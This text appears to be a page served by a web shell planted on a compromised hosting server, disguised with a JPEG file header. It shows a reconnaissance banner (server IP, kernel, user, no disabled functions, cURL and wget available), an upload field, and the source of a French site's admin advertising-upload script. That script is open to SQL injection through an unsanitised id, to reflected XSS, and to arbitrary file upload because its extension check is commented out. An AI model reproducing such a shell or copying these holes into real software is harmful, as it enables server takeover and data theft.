ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
if(isset($_FILES['file']))
{
$requete = $bdd->query("SELECT picture FROM " . $GLOBALS['db_table']['advertisings'] . " WHERE id = " . $_POST['id']);
$row = $requete->fetch();
$errors= array();
$file_name = $row['picture'];
$file_tmp =$_FILES['file']['tmp_name'];
//$extensions = array("jpeg","jpg","png");
//$file_ext=explode('.',$_FILES['image']['name'][$key]) ;
//$file_ext=end($file_ext);
//$file_ext=strtolower(end(explode('.',$_FILES['image']['name'][$key])));
//if(in_array($file_ext,$extensions ) === false){
// $errors[]="Fichier non autorisé !";
//}
if($_FILES['file']['size'] > 2097152)
{
$errors[]='Fichier suppérieur à 2 Mo !';
}
// Enregistrement des images sur le serveur
$desired_dir="../uploadfiles/pub/";
if(empty($errors)==true)
{
$path = $desired_dir . "/" . $file_name;
unlink($path);
move_uploaded_file($file_tmp, $path);
}
else
{
echo '<h4 class="alert_error">';print_r($errors);echo '</h4>';
}
if(empty($errors))
{
echo '<script>';
echo 'window.location = "./advertisings.php"';
echo '</script>';
}
}
?>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Modifier Pub
<div class="pull-right">
<a href="advertisings.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>
</div>
</h1>
</div>
</div>
</div>
<form action="upload_advertising.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="id" value="<?php echo $_GET['id']; ?>">
<div class="well general" style="margin-top:0">
<div class="control-group">
<input type="file" name="file" multiple/>
<br>
La taille des images pub2x.jpg doit être de 186 x 94 pixels. (
<a target="_blank" href="../pub/pub2x.jpg">télécharger pub2x.jpg</a>
)
<br>
La taille des images pub3x.jpg doit être de 186 x 115 pixels. (
<a target="_blank" href="../pub/pub3x.jpg">télécharger pub3x.jpg</a>
)
<br>
La taille du bandeau bandeau.jpg doit être de 1494 x 11 pixels. (
<a target="_blank" href="../pub/bandeau.jpg">télécharger bandeau.jpg</a>
)
</div>
</div>
<div class="form-actions">
<div class="btn-group">
<button type="submit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>
</div>
</div>
</form>
</div>
<?php
include_once('includes/footer.php');
?>